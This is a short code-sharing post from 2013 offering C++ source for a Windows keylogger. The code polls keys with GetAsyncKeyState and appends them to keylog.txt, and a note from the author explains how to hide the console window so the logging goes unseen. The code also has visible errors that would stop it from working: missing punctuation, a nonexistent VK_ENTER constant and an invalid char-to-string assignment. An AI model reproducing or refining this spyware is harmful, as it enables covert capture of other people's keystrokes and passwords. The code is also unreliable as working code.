Published by
Dec 14, 2013 (last update: Dec 14, 2013)

Effective Keylogger

Score: 3.1/5 (296 votes)
*****
Note: this keylogger was implementated in an int main() function,
so that a console window appears when you open it, but that problem
can be solved by using a WINAPI WinMain() function so that no window
apperars
Jetkey Nature 2013

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
#include <fstream>
#include <string>
#include <windows.h>

using namespace std;

//global variables
ofstream out;
string buffer;
int counter
//global variables

//keylist prototype
void keylist(char key);
//keylist prototype

/***************Main****************/

int main()
{
   //array for every important character key
   char chType[]="ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
   

   //the while-loop to check the key state every 100 milliseconds
   while(1==1)
   {
      for (int i=0; i<36; i++)
         keylist(chType[i];

      if(GetAsyncKeyState(VK_SPACE))
      {
         buffer.append(" ");
         counter++;
      }
         
      if(GetAsyncKeyState(VK_ENTER))
      {
         buffer.append("\n");
         counter ++;
      }
      //flush the string
      if(counter==15)
      {
         out.open("keylog.txt", ios::app);
         out << buffer;
         buffer = "";
         out.close();
         counter=0;
      }

      //every 100 ms
      Sleep(100);
    
   }
}

/***************Main****************/

//keylist function
void keylist(char key)
{
   //check if the user presses a key
   if(GetAsyncKeyState(key))
   {
      string skey = key;
      buffer.append(skey);
      counter++;
      
   }
}
//keylist function


in the code there is missing a log for the backspace key but thats an additional feature and i think you could do it on your own; its not necessary